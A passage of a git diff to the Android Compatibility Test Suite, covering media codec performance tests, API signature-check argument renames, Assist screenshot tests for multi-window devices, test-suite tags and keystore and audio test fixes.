b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java index c0f48dbcb3f..a57faf777bc 100644 --- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java +++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java @@ -33,7 +33,9 @@ import java.util.Map; import static android.mediapc.cts.CodecTestBase.selectCodecs; import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs; +import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; public class FrameDropTestBase { @@ -69,11 +71,6 @@ public class FrameDropTestBase { static Map<String, String> m540pTestFiles = new HashMap<>(); static Map<String, String> m1080pTestFiles = new HashMap<>(); static { - AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0); - AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0); - AAC_DECODER_NAME = selectCodecs(AAC, null, null, false).get(0); - } - static { if (Utils.isSPerfClass()) { // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds MAX_FRAME_DROP_FOR_30S = 6; @@ -111,6 +108,19 @@ public class FrameDropTestBase { @Before public void setUp() throws Exception { assumeTrue("Test requires performance class.", Utils.isPerfClass()); + + ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false); + assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty()); + AVC_DECODER_NAME = listOfAvcHwDecoders.get(0); + + ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true); + assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty()); + AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0); + + ArrayList<String> listOfAacDecoders = selectCodecs(AAC, null, null, false); + assertFalse("Test requires aac decoder", listOfAacDecoders.isEmpty()); + AAC_DECODER_NAME = listOfAacDecoders.get(0); + createSurface(); startLoad(); } diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java index 80bdafe7ed6..596532b5b3d 100644 --- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java +++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java @@ -53,13 +53,11 @@ public class MultiCodecPerfTestBase { mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4"); mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4"); - // Test VP8, VP9 and AV1 as well for Build.VERSION_CODES.S + // Test VP9 and AV1 as well for Build.VERSION_CODES.S if (Utils.isSPerfClass()) { - mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8); mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9); mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1); - mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm"); mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm"); mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4"); } diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java index 7cefb5c2d9f..ffe85fc77d3 100644 --- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java +++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java @@ -16,28 +16,14 @@ package android.signature.cts.api.test; -import android.os.Bundle; -import android.signature.cts.DexApiDocumentParser; -import android.signature.cts.DexField; import android.signature.cts.DexMember; -import android.signature.cts.DexMemberChecker; -import android.signature.cts.DexMethod; -import android.signature.cts.FailureType; -import android.signature.cts.VirtualPath; - -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.channels.FileChannel; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.StandardOpenOption; -import java.util.EnumSet; import java.util.Set; -import java.util.function.Predicate; -import java.util.stream.Stream; public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest { + /** + * Override to match only those members that specify both test-api and blocked. + */ @Override protected boolean shouldTestMember(DexMember member) { Set<String> flags = member.getHiddenapiFlags(); diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java index 4c0a31ab377..d9d1cb60647 100644 --- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java +++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java @@ -47,7 +47,7 @@ public class SignatureMultiLibsTest extends SignatureTest { ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG); parseApiResourcesAsStream(apiDocumentParser, - Stream.concat(Arrays.stream(systemApiFiles), Arrays.stream(previousApiFiles)) + Stream.concat(Arrays.stream(expectedApiFiles), Arrays.stream(previousApiFiles)) .toArray(String[]::new)) .forEach(complianceChecker::checkSignatureCompliance); diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java index 9707dd82a44..0eeef1a118f 100644 --- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java +++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java @@ -119,7 +119,7 @@ public class AbstractApiTest extends InstrumentationTestCase { mResultObserver.onTestComplete(); // Will throw is there are failures } - static String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) { + static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) { String argument = instrumentationArgs.getString(key); if (argument == null) { return new String[0]; @@ -127,6 +127,14 @@ public class AbstractApiTest extends InstrumentationTestCase { return argument.split(","); } + static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) { + String argument = instrumentationArgs.getString(key); + if (argument == null) { + throw new IllegalStateException("Could not find required argument '" + key + "'"); + } + return argument.split(","); + } + private Stream<VirtualPath> readResource(String resourceName) { try { ResourcePath resourcePath = diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java index 43cca41e327..3b6fec978eb 100644 --- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java +++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java @@ -28,7 +28,6 @@ import android.signature.cts.VirtualPath; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; -import java.text.ParseException; import java.util.HashSet; import java.util.Set; import java.util.function.Predicate; @@ -45,8 +44,8 @@ public class HiddenApiTest extends AbstractApiTest { @Override protected void initializeFromArgs(Bundle instrumentationArgs) { - hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files"); - hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags"); + hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files"); + hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags"); hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file"); hiddenapiFilterSet = new HashSet<>(); } @@ -166,7 +165,15 @@ public class HiddenApiTest extends AbstractApiTest { }); } + /** + * Determines whether to test the member. + * + * @param member the member + * @return true if the member should be tested, false otherwise. + */ protected boolean shouldTestMember(DexMember member) { + // Test the member if it supports ANY of the flags specified in the hiddenapi-test-flags + // argument. Set<String> flags = member.getHiddenapiFlags(); for (String testFlag : hiddenapiTestFlags) { if (flags.contains(testFlag)) { diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java index 2ef70ca253d..316a603bec5 100644 --- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java +++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java @@ -36,17 +36,23 @@ public class SignatureTest extends AbstractApiTest { private static final String TAG = SignatureTest.class.getSimpleName(); - protected String[] systemApiFiles; + protected String[] expectedApiFiles; protected String[] previousApiFiles; protected String[] baseApiFiles; private String[] unexpectedApiFiles; @Override protected void initializeFromArgs(Bundle instrumentationArgs) { - systemApiFiles = getCommaSeparatedList(instrumentationArgs, "system-api-files"); - baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files"); - unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files"); - previousApiFiles = getCommaSeparatedList(instrumentationArgs, "previous-api-files"); + expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files"); + baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files"); + unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files"); + previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files"); + + if (expectedApiFiles.length + unexpectedApiFiles.length == 0) { + throw new IllegalStateException( + "Expected at least one file to be specified in" + + " 'expected-api-files' or 'unexpected-api-files'"); + } } /** @@ -73,7 +79,7 @@ public class SignatureTest extends AbstractApiTest { // Load classes from any API files that form the base which the expected APIs extend. loadBaseClasses(complianceChecker); // Load classes from system API files and check for signature compliance. - checkClassesSignatureCompliance(complianceChecker, systemApiFiles, unexpectedClasses, + checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses, false /* isPreviousApi */); // Load classes from previous API files and check for signature compliance. checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses, diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java index a3c46d50270..62b1bbb3c73 100644 --- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java +++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java @@ -16,7 +16,6 @@ package android.signature.cts.api; -import android.os.Build; import android.os.Bundle; import android.signature.cts.AnnotationChecker; import android.signature.cts.ApiDocumentParser; @@ -42,7 +41,7 @@ public class AnnotationTest extends AbstractApiTest { @Override protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception { - mExpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files"); + mExpectedApiFiles = getCommaSeparatedListRequired(instrumentationArgs, "expected-api-files"); mAnnotationForExactMatch = instrumentationArgs.getString("annotation-for-exact-match"); } diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml index 1fcb724d37d..7c5fb12b337 100644 --- a/tests/signature/api-check/system-api/AndroidTest.xml +++ b/tests/signature/api-check/system-api/AndroidTest.xml @@ -28,7 +28,7 @@ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" /> <option name="class" value="android.signature.cts.api.system.SignatureTest" /> <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" /> - <option name="instrumentation-arg" key="system-api-files" value="system-current.api.gz,system-removed.api.gz" /> + <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz" /> <option name="instrumentation-arg" key="previous-api-files" value = "system-all.api.zip" /> <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" /> <option name="runtime-hint" value="30s" /> diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java index f90bd5d8ec1..1aa05ef3a4a 100644 --- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java +++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java @@ -909,6 +909,8 @@ public class UsageStatsTest { @AppModeFull(reason = "Test APK Activity not found when installed as an instant app") @Test public void testIsAppInactive() throws Exception { + assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery()); + setStandByBucket(mTargetPackage, "rare"); try { @@ -954,6 +956,8 @@ public class UsageStatsTest { @AppModeFull(reason = "Test APK Activity not found when installed as an instant app") @Test public void testIsAppInactive_Charging() throws Exception { + assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery()); + setStandByBucket(TEST_APP_PKG, "rare"); try { diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java index 8c25deae26c..44a3109a740 100644 --- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java +++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java @@ -73,6 +73,7 @@ import java.util.HashMap; import java.util.Map; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; +import java.util.function.Consumer; @RunWith(AndroidJUnit4.class) abstract class AssistTestBase { @@ -140,7 +141,8 @@ abstract class AssistTestBase { @Nullable protected RemoteCallback m3pActivityCallback; - private RemoteCallback m3pCallbackReceiving; + @Nullable + protected RemoteCallback mSecondary3pActivityCallback; protected boolean mScreenshotMatches; private Point mDisplaySize; @@ -168,7 +170,6 @@ abstract class AssistTestBase { mActionLatchReceiver = new ActionLatchReceiver(); prepareDevice(); - registerForAsyncReceivingCallback(); customSetup(); } @@ -185,11 +186,15 @@ abstract class AssistTestBase { mTestActivity.finish(); mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION)); - if (m3pActivityCallback != null) { m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST)); } + if (mSecondary3pActivityCallback != null) { + mSecondary3pActivityCallback + .sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST)); + } + mSessionCompletedLatch.await(3, TimeUnit.SECONDS); } @@ -209,19 +214,6 @@ abstract class AssistTestBase { runShellCommand("wm dismiss-keyguard"); } - private void registerForAsyncReceivingCallback() { - HandlerThread handlerThread = new HandlerThread("AssistTestCallbackReceivingThread"); - handlerThread.start(); - Handler handler = new Handler(handlerThread.getLooper()); - - m3pCallbackReceiving = new RemoteCallback((results) -> { - String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION); - if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) { - m3pActivityCallback = results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING); - } - }, handler); - } - protected void startTest(String testName) throws Exception { Log.i(TAG, "Starting test activity for TestCaseType = " + testName); Intent intent = new Intent(); @@ -244,7 +236,25 @@ abstract class AssistTestBase { Utils.setTestAppAction(intent, testCaseName); intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback); intent.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL); - intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, m3pCallbackReceiving); + + // In devices which support multi-window Activity positioning by default (such as foldables) + // it is necessary to launch additional activities ("screen fillers") so we may validate the + // entire screenshot captured by the Assistant (full display, not individual DisplayAreas) + if (m3pActivityCallback == null) { // first time start3pApp is called + intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, + createRemoteCallbackReceiver(callback -> m3pActivityCallback = callback)); + } else if (mSecondary3pActivityCallback == null) { // second time + // launch 3pApp on adjacent screen in test cases that need a "screen filler". + // necessary configuration to ensure Activity can be launched in another DisplayArea + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT + // as we are reusing this intent setup, unconditionally start a new task + | Intent.FLAG_ACTIVITY_MULTIPLE_TASK); + intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, createRemoteCallbackReceiver( + remoteCallback -> mSecondary3pActivityCallback = remoteCallback)); + } else { + throw new IllegalStateException("start3pApp supports a maximum of two App instances."); + } + if (extras != null) { intent.putExtras(extras); } @@ -253,6 +263,15 @@ abstract class AssistTestBase { waitForOnResume(); } + private RemoteCallback createRemoteCallbackReceiver(Consumer<RemoteCallback> consumer) { + return new RemoteCallback((results) -> { + String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION); + if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) { + consumer.accept(results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING)); + } + }, new Handler(mContext.getMainLooper())); + } + /** * Starts the shim service activity */ @@ -319,9 +338,8 @@ abstract class AssistTestBase { */ private void addDimensionsToIntent(Intent intent) { if (mDisplaySize == null) { - Display display = mTestActivity.getWindowManager().getDefaultDisplay(); - mDisplaySize = new Point(); - display.getRealSize(mDisplaySize); + Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode(); + mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight()); } intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x); intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y); diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java index c9d16c8546e..e5f0cd12b22 100644 --- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java +++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java @@ -39,48 +39,20 @@ public class ScreenshotTest extends AssistTestBase { @Test public void testRedScreenshot() throws Throwable { - if (mActivityManager.isLowRamDevice()) { - Log.d(TAG, "Not running assist tests on low-RAM device."); - return; - } - - startTest(TEST_CASE_TYPE); - waitForAssistantToBeReady(); - - Bundle bundle = new Bundle(); - bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.RED); - start3pApp(TEST_CASE_TYPE, bundle); - - eventuallyWithSessionClose(() -> { - delayAndStartSession(Color.RED); - verifyAssistDataNullness(false, false, false, false); - assertThat(mScreenshotMatches).isTrue(); - }); + validateDeviceAndRunTestForColor(Color.RED); } @Test public void testGreenScreenshot() throws Throwable { - if (mActivityManager.isLowRamDevice()) { - Log.d(TAG, "Not running assist tests on low-RAM device."); - return; - } - - startTest(TEST_CASE_TYPE); - waitForAssistantToBeReady(); - - Bundle bundle = new Bundle(); - bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.GREEN); - start3pApp(TEST_CASE_TYPE, bundle); - - eventuallyWithSessionClose(() -> { - delayAndStartSession(Color.GREEN); - verifyAssistDataNullness(false, false, false, false); - assertThat(mScreenshotMatches).isTrue(); - }); + validateDeviceAndRunTestForColor(Color.GREEN); } @Test public void testBlueScreenshot() throws Throwable { + validateDeviceAndRunTestForColor(Color.BLUE); + } + + private void validateDeviceAndRunTestForColor(int color) throws Throwable { if (mActivityManager.isLowRamDevice()) { Log.d(TAG, "Not running assist tests on low-RAM device."); return; @@ -90,11 +62,15 @@ public class ScreenshotTest extends AssistTestBase { waitForAssistantToBeReady(); Bundle bundle = new Bundle(); - bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.BLUE); + bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, color); + start3pApp(TEST_CASE_TYPE, bundle); + // In multi-window devices (particularly foldables) we must cover the entire display + // to properly validate the Assistant screenshot; as there is no standard API to determine + // how many DisplayAreas a screen may contain, open a secondary activity for basic cases start3pApp(TEST_CASE_TYPE, bundle); eventuallyWithSessionClose(() -> { - delayAndStartSession(Color.BLUE); + delayAndStartSession(color); verifyAssistDataNullness(false, false, false, false); assertThat(mScreenshotMatches).isTrue(); }); diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp index 928e532afa1..8ba24325f87 100644 --- a/tests/tests/content/BinderPermissionTestService/Android.bp +++ b/tests/tests/content/BinderPermissionTestService/Android.bp @@ -27,6 +27,7 @@ android_test_helper_app { "aidl/**/I*.aidl", ], test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp index 4a1a9bb052e..8c35eb4b35f 100644 --- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp +++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp @@ -22,6 +22,7 @@ android_test_helper_app { sdk_version: "current", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp index e3c2de5ab37..cb453239f0c 100644 --- a/tests/tests/content/HelloWorldApp/Android.bp +++ b/tests/tests/content/HelloWorldApp/Android.bp @@ -42,6 +42,7 @@ android_test { srcs: ["src5/**/*.java"], // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -56,6 +57,7 @@ android_test { manifest: "AndroidManifestProfileable.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "vts10", "general-tests", @@ -70,6 +72,7 @@ android_test { srcs: ["src7/**/*.java"], // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -105,6 +108,7 @@ android_test { ], // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -120,6 +124,7 @@ android_test { manifest: "AndroidManifestShell.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "vts10", "general-tests", diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp index c24d69a3b5a..c211c0c2ad4 100644 --- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp +++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp @@ -22,6 +22,7 @@ android_test_helper_app { sdk_version: "current", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp index e8904d7fa44..9f1e9abfd20 100644 --- a/tests/tests/content/SyncAccountAccessStubs/Android.bp +++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp @@ -25,6 +25,7 @@ android_test_helper_app { srcs: ["src/**/*.java"], sdk_version: "current", test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp index 42f36d0291a..70c87fe8da5 100644 --- a/tests/tests/content/emptytestapp/Android.bp +++ b/tests/tests/content/emptytestapp/Android.bp @@ -22,6 +22,7 @@ android_test_helper_app { sdk_version: "current", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -35,6 +36,7 @@ android_test_helper_app { manifest: "AndroidManifestLongPackageName.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -48,6 +50,7 @@ android_test_helper_app { manifest: "AndroidManifestLongSharedUserId.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -61,6 +64,7 @@ android_test_helper_app { manifest: "AndroidManifestMaxPackageName.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], @@ -73,6 +77,7 @@ android_test_helper_app { manifest: "AndroidManifestMaxSharedUserId.xml", // tag this module as a cts test artifact test_suites: [ + "mts", "cts", "general-tests", ], diff --git a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java index de60e370e70..3919f90ee2a 100644 --- a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java +++ b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java @@ -43,6 +43,12 @@ public class ECDSASignatureTest extends AndroidTestCase { private void assertNONEwithECDSATruncatesInputToFieldSize(KeyPair keyPair) throws Exception { int keySizeBits = TestUtils.getKeySizeBits(keyPair.getPublic()); + if (keySizeBits == 521) { + /* + * Skip P521 test until b/184307265 is fixed. + */ + return; + } byte[] message = new byte[(keySizeBits * 3) / 8]; for (int i = 0; i < message.length; i++) { message[i] = (byte) (i + 1); diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml index 08f47fdd769..79aa4b2940a 100644 --- a/tests/tests/libcoreapievolution/AndroidTest.xml +++ b/tests/tests/libcoreapievolution/AndroidTest.xml @@ -42,4 +42,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml index c90b7027970..22209734c65 100644 --- a/tests/tests/libcorefileio/AndroidTest.xml +++ b/tests/tests/libcorefileio/AndroidTest.xml @@ -40,4 +40,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml index 94c1134d536..670a3af8d87 100644 --- a/tests/tests/libcorelegacy22/AndroidTest.xml +++ b/tests/tests/libcorelegacy22/AndroidTest.xml @@ -42,4 +42,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS index 4f5a2efce98..6775f87ece8 100644 --- a/tests/tests/media/OWNERS +++ b/tests/tests/media/OWNERS @@ -1,9 +1,7 @@ # Bug component: 1344 include ../../media/OWNERS -andrewlewis@google.com elaurent@google.com etalvala@google.com -gkasten@google.com hdmoon@google.com hunga@google.com insun@google.com @@ -13,6 +11,5 @@ jmtrivi@google.com jsharkey@android.com sungsoo@google.com -# LON -olly@google.com -andrewlewis@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java index 248ba82893d..c745207b167 100755 --- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java +++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java @@ -3244,9 +3244,9 @@ public class AudioTrackTest { }; final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel. final int TEST_CONF_ARRAY[] = { - (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1, MAX_CHANNEL_BIT, // likely silent - no physical device on top channel. MAX_CHANNEL_BIT | 1, // first channel will likely have physical device. + (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1, }; final int TEST_WRITE_MODE_ARRAY[] = { AudioTrack.WRITE_BLOCKING, @@ -3258,10 +3258,12 @@ public class AudioTrackTest { double frequency = 200; // frequency changes for each test for (int TEST_FORMAT : TEST_FORMAT_ARRAY) { - for (int TEST_CONF : TEST_CONF_ARRAY) { - for (int TEST_SR : TEST_SR_ARRAY) { - for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) { - for (int useDirect = 0; useDirect < 2; ++useDirect) { + for (int TEST_SR : TEST_SR_ARRAY) { + for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) { + for (int useDirect = 0; useDirect < 2; ++useDirect) { + for (int TEST_CONF : TEST_CONF_ARRAY) { + // put TEST_CONF in the inner loop to avoid + // back-to-back creation of large tracks. playOnceStreamByteBuffer( TEST_NAME, frequency, TEST_SWEEP, TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT, diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java index 4c24777677b..1ccd71e773b 100644 --- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java +++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java @@ -949,23 +949,38 @@ public class MediaExtractorTest extends AndroidTestCase { // ignore } + final int RETRY_LIMIT = 100; + final long INPUTBUFFER_TIMEOUT_US = 10000; + int num_retry = 0; ByteBuffer buf = ByteBuffer.allocate(2*1024*1024); MediaCodec.BufferInfo info = new MediaCodec.BufferInfo(); - while(true) { + while(num_retry < RETRY_LIMIT) { for (MediaCodec codec : codecs) { - if (codec != null) { - int idx = codec.dequeueOutputBuffer(info, 5); - if (idx >= 0) { - codec.releaseOutputBuffer(idx, false); + if (codec == null) { + continue; + } + while (true) { + int idx = codec.dequeueOutputBuffer(info, 0); + if (idx < 0) { + break; } + codec.releaseOutputBuffer(idx, false); } } + int trackIdx = extractor.getSampleTrackIndex(); MediaCodec codec = codecs[trackIdx]; ByteBuffer b = buf; int bufIdx = -1; if (codec != null) { - bufIdx = codec.dequeueInputBuffer(-1); + bufIdx = codec.dequeueInputBuffer(INPUTBUFFER_TIMEOUT_US); + // No available input buffer now, retry again. + if (bufIdx < 0) { + num_retry += 1; + continue; + } + + num_retry = 0; b = codec.getInputBuffer(bufIdx); } int n = 